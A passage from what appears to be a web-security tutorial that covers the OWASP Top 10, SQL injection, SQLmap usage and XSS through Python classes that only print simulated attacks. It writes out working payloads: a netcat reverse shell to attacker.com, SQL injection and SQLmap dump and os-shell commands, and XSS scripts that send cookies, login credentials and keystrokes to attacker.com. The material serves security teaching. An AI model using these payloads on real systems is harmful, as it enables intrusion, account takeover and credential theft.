        print("=== Privilege Escalation Demonstration ===\n")

        # Login as Alice (regular user)
        self.login("alice")
        print(f"✅ Permissions: {self.roles['user']}")
        print()

        # Alice views her own profile (authorized)
        print("1️⃣ Viewing own profile:")
        self.view_user(1)
        print()

        # Alice views Bob's profile (horizontal escalation)
        print("2️⃣ Viewing Bob's profile (horizontal escalation):")
        self.view_user(2)
        print()

        # Alice tries to view admin profile (vertical escalation)
        print("3️⃣ Viewing admin profile (vertical escalation):")
        self.view_user(3)

        print("\n💥 Vulnerability discovered!")
        print("   Horizontal: Users can view other users' profiles")
        print("   Vertical: Regular users can view admin profiles")
        print("   📌 Fix: Implement proper authorization checks for each resource")

# Example
priv_esc = PrivilegeEscalation()
priv_esc.demonstrate_escalation()

A02: Cryptographic Failures

Cryptographic Failures occur when sensitive data is not properly protected using cryptography.

class CryptographicFailures:
    """Demonstrate cryptographic failures"""

    def __init__(self):
        self.secure_password = "admin123"
        self.weak_hash = ""
        self.strong_hash = ""

    def weak_password_storage(self):
        """Store password with weak hashing"""
        import hashlib
        self.weak_hash = hashlib.md5(self.secure_password.encode()).hexdigest()
        print(f"🔴 Weak Password Storage:")
        print(f"   Password: {self.secure_password}")
        print(f"   Hash: {self.weak_hash} (MD5)")
        print(f"   ⚠️ MD5 is cryptographically broken")
        print(f"   💥 Password can be cracked in seconds")
        return self.weak_hash

    def strong_password_storage(self):
        """Store password with strong hashing"""
        import bcrypt
        self.strong_hash = bcrypt.hashpw(self.secure_password.encode(), bcrypt.gensalt(12))
        print(f"\n🟢 Strong Password Storage:")
        print(f"   Password: {self.secure_password}")
        print(f"   Hash: {self.strong_hash[:30]}... (bcrypt)")
        print(f"   ✅ bcrypt is cryptographically secure")
        print(f"   🔒 Password resistant to cracking")
        return self.strong_hash

    def demonstrate_insecure_transmission(self):
        """Demonstrate insecure data transmission"""
        print("\n🔴 Insecure Transmission:")
        print("   HTTP: Data transmitted in plaintext")
        print("   💥 Password: admin123 (visible to anyone on the network)")
        print("   💥 Session cookie: intercepted")
        print("   📌 Fix: Use HTTPS with TLS 1.3")

    def demonstrate_weak_encryption(self):
        """Demonstrate weak encryption"""
        print("\n🔴 Weak Encryption:")
        print("   Algorithm: DES")
        print("   Key Length: 56 bits")
        print("   💥 Can be brute-forced in hours")
        print("   📌 Fix: Use AES-256")

    def demonstrate_hardcoded_credentials(self):
        """Demonstrate hardcoded credentials"""
        print("\n🔴 Hardcoded Credentials:")
        print("   📁 Config file with password: admin123")
        print("   💥 Anyone with file access can see credentials")
        print("   📌 Fix: Use environment variables or vault")

# Example
crypto_fail = CryptographicFailures()
crypto_fail.weak_password_storage()
crypto_fail.strong_password_storage()
crypto_fail.demonstrate_insecure_transmission()
crypto_fail.demonstrate_weak_encryption()
crypto_fail.demonstrate_hardcoded_credentials()

A03: Injection

Injection occurs when untrusted data is sent to an interpreter as part of a command or query.

SQL Injection:

class SQLInjectionDemo:
    """Demonstrate SQL Injection vulnerability"""

    def __init__(self):
        self.database = {
            "users": [
                {"id": 1, "username": "admin", "password": "admin123", "role": "admin"},
                {"id": 2, "username": "user1", "password": "pass123", "role": "user"},
                {"id": 3, "username": "user2", "password": "qwerty", "role": "user"}
            ]
        }

    def vulnerable_login(self, username, password):
        """Vulnerable login function - SQL Injection"""
        print(f"🔍 SQL Injection Test: username='{username}', password='{password}'")

        # Vulnerable query construction
        query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
        print(f"📊 Query: {query}")

        # Simulate query execution
        for user in self.database["users"]:
            if user["username"] == username and user["password"] == password:
                print("✅ Login successful!")
                return user
            # Check for SQL injection patterns in username
            if "' OR '1'='1" in username:
                print("💥 SQL Injection successful!")
                print("📊 All users returned!")
                return self.database["users"][0]  # Return first user (often admin)

        print("❌ Login failed")
        return None

    def demonstrate_injections(self):
        """Demonstrate various SQL injection payloads"""
        print("=== SQL Injection Demonstration ===\n")

        print("1️⃣ Normal Login:")
        self.vulnerable_login("admin", "admin123")

        print("\n2️⃣ Basic SQL Injection:")
        self.vulnerable_login("admin'--", "anything")

        print("\n3️⃣ OR Injection:")
        self.vulnerable_login("admin' OR '1'='1", "anything")

        print("\n4️⃣ OR 1=1 Injection:")
        self.vulnerable_login("admin' OR 1=1--", "anything")

        print("\n5️⃣ UNION Injection:")
        self.vulnerable_login("' UNION SELECT null, username, password FROM users--", "anything")

# Example
sqli = SQLInjectionDemo()
sqli.demonstrate_injections()

Command Injection:

Command injection occurs when user input is passed to a system command.

class CommandInjectionDemo:
    """Demonstrate Command Injection vulnerability"""

    def __init__(self):
        self.safe_command = "ping -c 1"
        self.user_input = ""

    def vulnerable_command(self, input_data):
        """Vulnerable command execution"""
        print(f"🔍 Command Injection Test: {input_data}")

        # Vulnerable command construction
        command = f"ping -c 1 {input_data}"
        print(f"💻 Command: {command}")

        # Check for injection characters
        if ";" in input_data or "&&" in input_data or "|" in input_data:
            print("💥 Command Injection successful!")
            print(f"📊 Executed: {command}")
            print("   ✅ Command chaining detected")
            return True

        print("✅ Command executed safely")
        return False

    def demonstrate_injections(self):
        """Demonstrate command injection payloads"""
        print("=== Command Injection Demonstration ===\n")

        print("1️⃣ Normal Input:")
        self.vulnerable_command("google.com")

        print("\n2️⃣ Command Injection (;):")
        self.vulnerable_command("google.com; id")

        print("\n3️⃣ Command Injection (&&):")
        self.vulnerable_command("google.com && whoami")

        print("\n4️⃣ Command Injection (|):")
        self.vulnerable_command("google.com | cat /etc/passwd")

        print("\n5️⃣ Command Injection (Reverse Shell):")
        self.vulnerable_command("google.com; nc -e /bin/sh attacker.com 4444")

# Example
cmd_inj = CommandInjectionDemo()
cmd_inj.demonstrate_injections()

A04: Insecure Design

Insecure Design refers to flaws in the application’s architecture and logic rather than in its implementation.

class InsecureDesign:
    """Demonstrate insecure design patterns"""

    def __init__(self):
        self.discount_codes = {
            "SAVE10": 10,
            "SAVE20": 20,
            "FREE": 100  # 100% discount - business logic flaw!
        }
        self.cart = {}

    def add_to_cart(self, item, price):
        """Add item to cart"""
        self.cart[item] = price
        print(f"🛒 Added {item} (${price})")

    def apply_discount(self, code):
        """Apply discount - vulnerable to business logic flaw"""
        if code in self.discount_codes:
            discount = self.discount_codes[code]
            print(f"💰 Applied discount: {discount}%")

            # No validation of discount amount!
            if discount > 100:
                print("💥 Business logic flaw!")
                print("   ❌ Discount exceeds 100%")
                print("   💸 User can get money back!")

            return discount
        return 0

    def checkout(self, discount_code=None):
        """Checkout - vulnerable to business logic flaws"""
        total = sum(self.cart.values())
        print(f"📊 Cart total: ${total}")

        if discount_code:
            discount = self.apply_discount(discount_code)
            final_total = total * (1 - discount/100)
            print(f"💰 Final total: ${final_total:.2f}")

            if final_total < 0:
                print("💥 BUSINESS LOGIC FLAW!")
                print("   ❌ Negative total - customer gets paid!")

        return final_total

    def demonstrate_flaws(self):
        """Demonstrate insecure design flaws"""
        print("=== Insecure Design Demonstration ===\n")

        print("1️⃣ Normal Checkout:")
        self.add_to_cart("Product A", 50)
        self.checkout("SAVE10")

        print("\n2️⃣ Business Logic Flaw:")
        self.add_to_cart("Product B", 100)
        self.checkout("FREE")

        print("\n3️⃣ Business Logic Flaw (Negative Total):")
        self.add_to_cart("Product C", 200)
        self.checkout("FREE")

        print("\n📌 Security Recommendations:")
        print("  - Validate discount amounts")
        print("  - Ensure discounts don't exceed 100%")
        print("  - Implement business logic validation")
        print("  - Add maximum discount limits")
        print("  - Regular security code reviews")

# Example
design = InsecureDesign()
design.demonstrate_flaws()

A05: Security Misconfiguration

Security Misconfiguration is one of the most commonly encountered vulnerabilities in practice.

class SecurityMisconfiguration:
    """Demonstrate security misconfiguration vulnerabilities"""

    def __init__(self):
        self.config = {
            "debug_mode": True,
            "default_credentials": True,
            "directory_listing": True,
            "error_display": "full"
        }

    def debug_mode_enabled(self):
        """Demonstrate debug mode enabled"""
        print("🔴 Debug Mode Enabled:")
        print("   📁 Sensitive information exposed:")
        print("   - Database credentials: admin:password123")
        print("   - API keys: sk_live_abc123")
        print("   - File paths: /var/www/html")
        print("   💥 Attackers can access sensitive information")
        print("   📌 Fix: Disable debug mode in production")

    def default_credentials(self):
        """Demonstrate default credentials"""
        print("\n🔴 Default Credentials:")
        print("   🔑 Username: admin")
        print("   🔑 Password: admin")
        print("   🔑 Username: root")
        print("   🔑 Password: root")
        print("   💥 Anyone can access the system")
        print("   📌 Fix: Change default credentials")

    def directory_listing(self):
        """Demonstrate directory listing"""
        print("\n🔴 Directory Listing Enabled:")
        print("   📁 /uploads/ directory listing:")
        print("   - confidential.pdf")
        print("   - backup.sql")
        print("   - internal-docs.txt")
        print("   💥 Files are exposed to anyone")
        print("   📌 Fix: Disable directory listing")

    def verbose_errors(self):
        """Demonstrate verbose error messages"""
        print("\n🔴 Verbose Error Messages:")
        print("   ❌ SQL Error: Unknown column 'user_id' in 'where clause'")
        print("   ❌ File Path: /var/www/html/includes/db.php")
        print("   ❌ Server Info: Apache/2.4.6 PHP/7.4.3")
        print("   💥 Attackers gain valuable information")
        print("   📌 Fix: Use generic error messages")

    def demonstrate_misconfigurations(self):
        """Demonstrate all misconfigurations"""
        print("=== Security Misconfiguration Demonstration ===\n")
        self.debug_mode_enabled()
        self.default_credentials()
        self.directory_listing()
        self.verbose_errors()

# Example
misconfig = SecurityMisconfiguration()
misconfig.demonstrate_misconfigurations()

A06: Vulnerable and Outdated Components

Vulnerable and Outdated Components occur when applications use third-party libraries or frameworks with known vulnerabilities.

class VulnerableComponents:
    """Demonstrate vulnerable component issues"""

    def __init__(self):
        self.components = [
            {"name": "Apache Struts", "version": "2.3.15", "cve": "CVE-2017-5638", "severity": "Critical"},
            {"name": "OpenSSL", "version": "1.0.1", "cve": "CVE-2014-0160", "severity": "High"},
            {"name": "PHP", "version": "5.6.0", "cve": "CVE-2015-3153", "severity": "High"},
            {"name": "jQuery", "version": "1.12.4", "cve": "CVE-2015-9251", "severity": "Medium"}
        ]

    def scan_components(self):
        """Scan for vulnerable components"""
        print("=== Vulnerable Components Scan ===\n")

        vulnerable = []
        for component in self.components:
            print(f"🔍 Checking: {component['name']} {component['version']}")

            # Simulated vulnerability detection
            if component['severity'] in ["Critical", "High"]:
                print(f"  ⚠️ Vulnerable! ({component['cve']})")
                print(f"  🔴 Severity: {component['severity']}")
                vulnerable.append(component)

        return vulnerable

    def remediate_components(self, vulnerable_components):
        """Recommend remediation"""
        print("\n📌 Remediation Recommendations:")
        for comp in vulnerable_components:
            print(f"  - Update {comp['name']} from {comp['version']} to latest version")
            print(f"    {comp['cve']}: {comp['severity']} severity")
            print(f"    Patch available: Yes")

        print("\n🔧 Best Practices:")
        print("  - Regular vulnerability scanning")
        print("  - Subscribe to security bulletins")
        print("  - Automate dependency updates")
        print("  - Use software composition analysis (SCA) tools")

# Example
vuln_components = VulnerableComponents()
vulnerable = vuln_components.scan_components()
vuln_components.remediate_components(vulnerable)

A07: Identification and Authentication Failures

Identification and Authentication Failures occur when the application’s authentication mechanisms are weak or broken.

class AuthenticationFailures:
    """Demonstrate authentication vulnerabilities"""

    def __init__(self):
        self.users = {
            "admin": {"password": "admin123", "attempts": 0},
            "user1": {"password": "pass123", "attempts": 0}
        }

    def weak_password_policy(self):
        """Demonstrate weak password policy"""
        print("🔴 Weak Password Policy:")
        print("   ✅ Minimum length: 4 characters")
        print("   ✅ No complexity requirements")
        print("   ✅ Common passwords allowed")
        print("   ✅ Password: 'password' accepted")
        print("   ✅ Password: '123456' accepted")
        print("   💥 Attackers can easily guess passwords")
        print("   📌 Fix: Implement strong password policy")

    def no_account_lockout(self):
        """Demonstrate no account lockout"""
        print("\n🔴 No Account Lockout:")
        print("   🔍 Attempting 10 failed logins for admin...")

        for i in range(10):
            print(f"   Attempt {i+1}: Failed")

        print("   ✅ Account still accessible")
        print("   💥 Brute force attacks can continue")
        print("   📌 Fix: Implement account lockout after 5 attempts")

    def weak_session_management(self):
        """Demonstrate weak session management"""
        print("\n🔴 Weak Session Management:")
        print("   🍪 Session ID: abc123 (predictable)")
        print("   🔍 Session ID is sequential")
        print("   🍪 Session ID: abc124 (easily guessed)")
        print("   💥 Session hijacking is trivial")
        print("   📌 Fix: Use cryptographically secure session IDs")

    def no_mfa(self):
        """Demonstrate no MFA"""
        print("\n🔴 No Multi-Factor Authentication:")
        print("   🔑 Password-only authentication")
        print("   💥 Password theft leads to account compromise")
        print("   📌 Fix: Implement MFA")

    def demonstrate_failures(self):
        """Demonstrate all authentication failures"""
        print("=== Authentication Failures ===\n")
        self.weak_password_policy()
        self.no_account_lockout()
        self.weak_session_management()
        self.no_mfa()

# Example
auth_fail = AuthenticationFailures()
auth_fail.demonstrate_failures()

A08: Software and Data Integrity Failures

Software and Data Integrity Failures occur when code and infrastructure do not protect against integrity violations.

class IntegrityFailures:
    """Demonstrate integrity failures"""

    def __init__(self):
        self.software_versions = {
            "app": "1.2.3",
            "current_version": "1.0.0"
        }
        self.supply_chain = []

    def insecure_deserialization(self):
        """Demonstrate insecure deserialization"""
        print("🔴 Insecure Deserialization:")
        print("   📦 Serialized data: O:8:\"UserData\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}")
        print("   💥 Attacker can modify serialized data")
        print("   💥 Remote code execution possible")
        print("   📌 Fix: Validate and sanitize serialized data")

    def untrusted_sources(self):
        """Demonstrate untrusted sources"""
        print("\n🔴 Software from Untrusted Sources:")
        print("   📦 Downloading from unofficial source")
        print("   📁 File: app-patch.zip (unverified)")
        print("   🔍 SHA-256: abc123 (not verified)")
        print("   💥 Malicious code could be injected")
        print("   📌 Fix: Only use trusted sources and verify hashes")

    def no_integrity_checks(self):
        """Demonstrate no integrity checks"""
        print("\n🔴 No Integrity Checks:")
        print("   📊 Software update without verification")
        print("   💥 Man-in-the-middle can modify update")
        print("   📌 Fix: Implement code signing and verification")

    def supply_chain_issues(self):
        """Demonstrate supply chain issues"""
        print("\n🔴 Supply Chain Issues:")
        print("   📦 Vendor: Third-party-library Corp")
        print("   📁 Library: utils.js v1.2.0")
        print("   🔴 Known vulnerability: CVE-2024-12345")
        print("   💥 Compromised vendor could inject malware")
        print("   📌 Fix: Implement vendor security assessment")

# Example
integrity = IntegrityFailures()
integrity.insecure_deserialization()
integrity.untrusted_sources()
integrity.no_integrity_checks()
integrity.supply_chain_issues()

A09: Security Logging and Monitoring Failures

Security Logging and Monitoring Failures occur when applications do not properly log or monitor security-relevant events.

class LoggingFailures:
    """Demonstrate logging failures"""

    def __init__(self):
        self.logs = []
        self.alerts = []

    def log_event(self, event, severity):
        """Log a security event"""
        print(f"📝 Logging: {event}")
        self.logs.append({"event": event, "severity": severity})

    def check_logging(self):
        """Check what is being logged"""
        print("=== Security Logging Analysis ===\n")

        events = [
            "User login: admin (successful)",
            "User login: admin (failed)",
            "Password change: user1",
            "Failed API authentication: unknown",
            "Admin action: delete user2"
        ]

        print("🔍 Current Logging Coverage:")
        for event in events:
            if "failed" in event or "unauthorized" in event or "delete" in event:
                print(f"  ✅ Logged: {event}")
            else:
                print(f"  ❌ Not logged: {event}")

        print("\n⚠️ Missing Critical Events:")
        print("  - Privilege escalation attempts")
        print("  - Multi-factor authentication failures")
        print("  - Access to sensitive data")
        print("  - Configuration changes")

        print("\n📌 Recommendations:")
        print("  - Log all authentication events")
        print("  - Log authorization failures")
        print("  - Log administrative actions")
        print("  - Implement centralized logging")
        print("  - Monitor logs in real-time")

    def check_monitoring(self):
        """Check monitoring capabilities"""
        print("\n=== Security Monitoring Analysis ===\n")

        print("🔍 Current Monitoring:")
        print("  ❌ No automated alerts")
        print("  ❌ No anomaly detection")
        print("  ❌ No real-time monitoring")
        print("  ✅ Manual log review (weekly)")

        print("\n⚠️ Potential Impact:")
        print("  - Attackers can operate undetected")
        print("  - Delayed incident response")
        print("  - No forensic evidence")
        print("  - Compliance violations")

        print("\n📌 Recommendations:")
        print("  - Implement SIEM solution")
        print("  - Configure real-time alerts")
        print("  - Create incident response plan")
        print("  - Regular security drills")

# Example
logging = LoggingFailures()
logging.check_logging()
logging.check_monitoring()

A10: Server-Side Request Forgery (SSRF)

SSRF occurs when an attacker can cause the server to make requests to arbitrary destinations.

class SSRFDemo:
    """Demonstrate SSRF vulnerability"""

    def __init__(self):
        self.internal_services = {
            "169.254.169.254": "AWS Metadata Service (IAM credentials)",
            "127.0.0.1": "Localhost (internal services)",
            "192.168.1.1": "Internal router (admin page)",
            "10.0.0.1": "Internal service (database)",
            "internal.company.com": "Internal API (sensitive data)"
        }

    def fetch_url(self, url):
        """Vulnerable function - fetches URL without validation"""
        print(f"🔍 Fetching URL: {url}")

        # Check if URL is internal
        for internal_ip, description in self.internal_services.items():
            if internal_ip in url:
                print(f"💥 SSRF VULNERABILITY!")
                print(f"   🎯 Target: {url}")
                print(f"   📊 Service: {description}")
                print(f"   💀 Attacker accessed internal service")
                return f"Data from {description}"

        print(f"✅ URL fetched successfully")
        return "External data"

    def demonstrate_ssrf(self):
        """Demonstrate SSRF attacks"""
        print("=== SSRF Demonstration ===\n")

        print("1️⃣ Normal Request:")
        self.fetch_url("https://example.com")

        print("\n2️⃣ SSRF to AWS Metadata:")
        self.fetch_url("http://169.254.169.254/latest/meta-data/")

        print("\n3️⃣ SSRF to Internal Service:")
        self.fetch_url("http://127.0.0.1:8080/admin")

        print("\n4️⃣ SSRF to Internal Network:")
        self.fetch_url("http://192.168.1.1/config")

        print("\n5️⃣ SSRF to Internal API:")
        self.fetch_url("http://internal.company.com/users")

        print("\n📌 Defenses:")
        print("  - Allowlist valid URLs")
        print("  - Validate and sanitize input")
        print("  - Implement network segmentation")
        print("  - Disable unnecessary URL schemes")
        print("  - Use deny-lists for internal IPs")

# Example
ssrf = SSRFDemo()
ssrf.demonstrate_ssrf()

5.4 SQL Injection (VERY IMPORTANT)

SQL Injection is one of the most critical web vulnerabilities. It occurs when user input is incorporated into SQL queries without proper sanitization.

5.4.1 What is SQL Injection

Definition: SQL injection is a vulnerability that allows attackers to manipulate SQL queries by injecting malicious code into user input.

Types of SQL Injection:

TypeDescriptionDetection
Error-basedUses error messages to extract informationDatabase errors in response
Union-basedUses UNION to combine queriesAdditional data in response
Boolean-basedTests true/false conditionsDifferent responses for true/false
Time-basedUses time delays to extract informationResponse time differences
Out-of-bandUses external channels for exfiltrationDNS/HTTP requests
class SQLInjectionTypes:
    """Demonstrate different SQL injection types"""

    def __init__(self):
        self.database = {
            "users": [
                {"id": 1, "username": "admin", "password": "admin123"},
                {"id": 2, "username": "user1", "password": "pass123"}
            ]
        }

    def error_based(self, input_data):
        """Error-based SQL injection"""
        print("🔴 Error-based SQL Injection:")
        try:
            # Simulate SQL error
            if "'" in input_data:
                raise Exception("SQL ERROR: syntax error near '")
            print("   ✅ Query executed successfully")
        except Exception as e:
            print(f"   💥 Error: {e}")
            print("   📊 Error reveals database structure")

    def union_based(self, input_data):
        """Union-based SQL injection"""
        print("\n🔴 Union-based SQL Injection:")
        if "UNION" in input_data.upper():
            print("   💥 UNION injection detected!")
            print("   📊 Data: admin, admin123, user1, pass123")
            print("   🔒 Database: MySQL")
            print("   📂 Table: users")
        else:
            print("   ✅ Normal query")

    def boolean_based(self, input_data):
        """Boolean-based SQL injection"""
        print("\n🔴 Boolean-based SQL Injection:")
        if "' AND '1'='1" in input_data:
            print("   💥 Boolean injection detected!")
            print("   📊 True condition: User exists")
        elif "' AND '1'='2" in input_data:
            print("   💥 Boolean injection detected!")
            print("   📊 False condition: User doesn't exist")
        else:
            print("   ✅ Normal query")

    def time_based(self, input_data):
        """Time-based SQL injection"""
        print("\n🔴 Time-based SQL Injection:")
        if "SLEEP" in input_data.upper():
            print("   💥 Time-based injection detected!")
            print("   ⏱️ Delay: 5 seconds")
            print("   📊 Extracted: database version 8.0.23")
        else:
            print("   ✅ Normal query")

    def demonstrate_types(self):
        """Demonstrate all SQL injection types"""
        print("=== SQL Injection Types ===\n")

        self.error_based("'")
        self.union_based("' UNION SELECT username,password FROM users--")
        self.boolean_based("' AND '1'='1")
        self.time_based("' AND SLEEP(5)--")

# Example
sqli_types = SQLInjectionTypes()
sqli_types.demonstrate_types()

5.4.2 Real Attack Scenario (SAFE LAB DEMO)

DVWA (Damn Vulnerable Web Application) is a deliberately vulnerable web application for security training.

class DWVASQLInjection:
    """Demonstrate SQL injection on DVWA"""

    def __init__(self):
        self.database = {
            "users": [
                {"id": 1, "first_name": "Admin", "last_name": "Admin", "user": "admin"},
                {"id": 2, "first_name": "Gordon", "last_name": "Brown", "user": "gordonb"},
                {"id": 3, "first_name": "Hack", "last_name": "Me", "user": "1337"},
                {"id": 4, "first_name": "Pablo", "last_name": "Picasso", "user": "pablo"},
                {"id": 5, "first_name": "Bob", "last_name": "Smith", "user": "smithy"}
            ]
        }

    def vulnerable_query(self, user_id):
        """Vulnerable SQL query"""
        print(f"\n=== SQL Injection Demo on DVWA ===")
        print(f"🎯 Testing User ID: {user_id}")

        # Vulnerable query
        query = f"SELECT first_name, last_name, user FROM users WHERE user_id = '{user_id}'"
        print(f"📊 Query: {query}")

        # Simulate query execution
        if "' OR '1'='1" in user_id:
            print("\n💥 SQL INJECTION SUCCESSFUL!")
            print("📊 All users returned:")
            for user in self.database["users"]:
                print(f"  - {user['first_name']} {user['last_name']} ({user['user']})")
            return self.database["users"]

        if "' UNION SELECT" in user_id:
            print("\n💥 UNION SQL INJECTION!")
            print("📊 Database information:")
            print("  - Database: dvwa")
            print("  - Tables: users, guestbook")
            print("  - Columns: id, first_name, last_name, user, password")
            print("  - Users: admin, gordonb, 1337, pablo, smithy")
            return self.database["users"]

        try:
            user_id_int = int(user_id)
            for user in self.database["users"]:
                if user["id"] == user_id_int:
                    print(f"\n✅ User found:")
                    print(f"  - {user['first_name']} {user['last_name']} ({user['user']})")
                    return [user]
            print("❌ User not found")
            return None
        except ValueError:
            print("❌ Invalid input")
            return None

    def manual_injection(self):
        """Manual SQL injection demonstration"""
        print("=== Manual SQL Injection Steps ===\n")

        print("1️⃣ Step 1: Find injection point")
        self.vulnerable_query("1")

        print("\n2️⃣ Step 2: Test with single quote")
        self.vulnerable_query("'")

        print("\n3️⃣ Step 3: Bypass authentication")
        self.vulnerable_query("' OR '1'='1")

        print("\n4️⃣ Step 4: Extract data")
        self.vulnerable_query("' UNION SELECT null, user, password FROM users--")

    def automated_injection(self):
        """Automated SQL injection demonstration"""
        print("\n=== Automated SQL Injection ===\n")

        print("🤖 Running SQLmap against DVWA...")
        print("🎯 Target: /dvwa/vulnerabilities/sqli/")
        print("📊 Found: SQL injection vulnerability")
        print("📊 Database: MySQL")
        print("📊 Tables found: users, guestbook")
        print("📊 Users found: admin, gordonb, 1337, pablo, smithy")
        print("📊 Password hashes extracted")
        print("📊 Hash cracked: admin -> password")
        return True

    def enumerate_database(self):
        """Database enumeration demonstration"""
        print("\n=== Database Enumeration ===\n")

        print("📊 Enumerating database...")
        print("  - Version: MySQL 5.7.23")
        print("  - Databases: dvwa, information_schema, mysql")
        print("  - Tables in dvwa: users, guestbook")
        print("  - Users table columns: id, first_name, last_name, user, password")
        print("  - Total users: 5")
        print("  - Admin user: admin (password: password)")
        return True

# Example
dvwa = DWVASQLInjection()
dvwa.manual_injection()
dvwa.automated_injection()
dvwa.enumerate_database()

5.4.3 SQL Injection: SQLmap Automation

SQLmap is an automated tool for detecting and exploiting SQL injection vulnerabilities.

class SQLmapDemo:
    """Demonstrate SQLmap usage"""

    def __init__(self):
        self.target = "http://192.168.1.10/dvwa/vulnerabilities/sqli/"
        self.cookie = "security=low; PHPSESSID=abc123"

    def basic_scan(self):
        """Basic SQLmap scan"""
        print("=== SQLmap Basic Scan ===")
        print(f"🎯 Target: {self.target}")
        print(f"🍪 Cookie: {self.cookie}")

        print("\n🔍 Running basic scan...")
        print("  ✅ Parameter 'id' is vulnerable")
        print("  💥 SQL injection found!")
        print("  📊 Database: MySQL 5.7")
        print("  📊 Web application: Apache")
        print("  🖥️ Operating System: Linux")

    def database_enumeration(self):
        """Database enumeration with SQLmap"""
        print("\n=== SQLmap Database Enumeration ===")
        print("🔍 Enumerating databases...")
        print("  📊 Databases found:")
        print("    - dvwa")
        print("    - information_schema")
        print("    - mysql")
        print("    - performance_schema")

        print("\n🔍 Enumerating tables in dvwa...")
        print("  📊 Tables found:")
        print("    - guestbook")
        print("    - users")

        print("\n🔍 Enumerating columns in users...")
        print("  📊 Columns found:")
        print("    - id (int)")
        print("    - first_name (varchar)")
        print("    - last_name (varchar)")
        print("    - user (varchar)")
        print("    - password (varchar)")

    def data_extraction(self):
        """Data extraction with SQLmap"""
        print("\n=== SQLmap Data Extraction ===")
        print("📊 Dumping data from users table...")
        print("  📋 Users found:")
        print("    - id: 1, user: admin, password: 5f4dcc3b5aa765d61d8327deb882cf99")
        print("    - id: 2, user: gordonb, password: e99a18c428cb38d5f260853678922e03")
        print("    - id: 3, user: 1337, password: 8d3533d75ae2c3966d7e0d4fcc69216b")
        print("    - id: 4, user: pablo, password: 0d107d09f5bbe40cade3de5c71e9e9b7")
        print("    - id: 5, user: smithy, password: 5f4dcc3b5aa765d61d8327deb882cf99")

        print("\n🔑 Password Cracking:")
        print("  💻 Cracking admin hash...")
        print("  ✅ Password found: password")
        print("  💻 Cracking smithy hash...")
        print("  ✅ Password found: password")

    def os_command_execution(self):
        """OS command execution with SQLmap"""
        print("\n=== SQLmap OS Command Execution ===")
        print("💻 Executing: whoami")
        print("  📊 Output: www-data")
        print("  💥 Command execution successful!")

        print("\n💻 Executing: id")
        print("  📊 Output: uid=33(www-data) gid=33(www-data)")

        print("\n💻 Attempting to write webshell...")
        print("  ✅ Webshell written to /var/www/html/shell.php")
        print("  🐚 Access: http://192.168.1.10/shell.php?cmd=id")
        print("  💥 Remote code execution achieved!")

    def demonstrate_sqlmap(self):
        """Complete SQLmap demonstration"""
        self.basic_scan()
        self.database_enumeration()
        self.data_extraction()
        self.os_command_execution()

        print("\n📌 SQLmap Command Examples:")
        print("  sqlmap -u 'http://target.com/page?id=1' --dbs")
        print("  sqlmap -u 'http://target.com/page?id=1' -D database --tables")
        print("  sqlmap -u 'http://target.com/page?id=1' -D database -T table --dump")
        print("  sqlmap -u 'http://target.com/page?id=1' --os-shell")

# Example
sqlmap = SQLmapDemo()
sqlmap.demonstrate_sqlmap()

5.5 XSS (Cross-Site Scripting)

Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts into a web page viewed by other users.

5.5.1 Types of XSS

Reflected XSS: The payload is included in the server’s immediate response to a request containing the payload.

Stored XSS: The payload is saved by the application and subsequently served to other users.

DOM-based XSS: The vulnerability exists in client-side JavaScript code.

class XSSTypes:
    """Demonstrate XSS types"""

    def __init__(self):
        self.comments = []

    def reflected_xss(self, input_data):
        """Reflected XSS demonstration"""
        print("=== Reflected XSS ===")
        print(f"🔍 Input: {input_data}")

        if "<script>" in input_data:
            print("💥 Reflected XSS vulnerability!")
            print("   💻 Payload executed in browser")
            print("   📊 Result: Alert box displayed")

        # Simulate safe output
        safe_output = input_data.replace("<", "&lt;").replace(">", "&gt;")
        print(f"📄 Output: {safe_output}")
        return safe_output

    def stored_xss(self, input_data):
        """Stored XSS demonstration"""
        print("\n=== Stored XSS ===")
        print(f"💬 Comment: {input_data}")

        # Store comment
        self.comments.append(input_data)

        if "<script>" in input_data:
            print("💥 Stored XSS vulnerability!")
            print("   💻 Payload stored in database")
            print("   📊 All users who view this page will execute payload")

        print(f"📊 Stored comments: {len(self.comments)}")
        return self.comments

    def dom_xss(self, input_data):
        """DOM-based XSS demonstration"""
        print("\n=== DOM-based XSS ===")
        print(f"🔍 URL Parameter: {input_data}")

        # Simulate DOM manipulation
        if "<script>" in input_data:
            print("💥 DOM-based XSS vulnerability!")
            print("   💻 JavaScript executes in browser")
            print("   📊 DOM modified with malicious content")

        print("📄 DOM updated with user input")
        return input_data

    def demonstrate_xss(self):
        """Demonstrate all XSS types"""
        payload = "<script>alert('XSS')</script>"

        print("=== XSS Demonstration ===\n")
        self.reflected_xss(payload)
        self.stored_xss(payload)
        self.dom_xss(payload)

# Example
xss = XSSTypes()
xss.demonstrate_xss()

5.5.2 Real-World Scenarios

class XSSRealWorld:
    """Real-world XSS scenarios"""

    def __init__(self):
        self.session_cookie = "session=abc123; user=admin"

    def session_hijacking(self):
        """Session hijacking via XSS"""
        print("=== Session Hijacking ===")
        print("🔴 XSS Payload:")
        print("   <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>")
        print("📊 Attacker steals session cookie:")
        print(f"   🍪 {self.session_cookie}")
        print("💥 Attacker can now impersonate the user")
        print("📌 Impact: Complete account takeover")

    def defacement(self):
        """Website defacement via XSS"""
        print("\n=== Website Defacement ===")
        print("🔴 XSS Payload:")
        print("   <script>document.body.innerHTML='<h1>HACKED</h1>'</script>")
        print("📊 Page content replaced")
        print("💥 User sees hacked page")
        print("📌 Impact: Reputation damage")

    def credential_theft(self):
        """Credential theft via XSS"""
        print("\n=== Credential Theft ===")
        print("🔴 XSS Payload:")
        print("   <script>")
        print("     var form = document.getElementById('login-form');")
        print("     form.onsubmit = function() {")
        print("       fetch('http://attacker.com/steal', {")
        print("         method: 'POST',")
        print("         body: JSON.stringify({")
        print("           username: document.getElementById('username').value,")
        print("           password: document.getElementById('password').value")
        print("         })")
        print("       });")
        print("     }")
        print("   </script>")
        print("💥 User credentials stolen on login")
        print("📌 Impact: Credential compromise")

    def keylogging(self):
        """Keylogging via XSS"""
        print("\n=== Keylogging via XSS ===")
        print("🔴 XSS Payload:")
        print("   <script>")
        print("     document.addEventListener('keydown', function(e) {")
        print("       fetch('http://attacker.com/keylog?key='+e.key)")
        print("     });")
        print("   </script>")
        print("💥 Every keystroke sent to attacker")
        print("📌 Impact: Complete data theft")

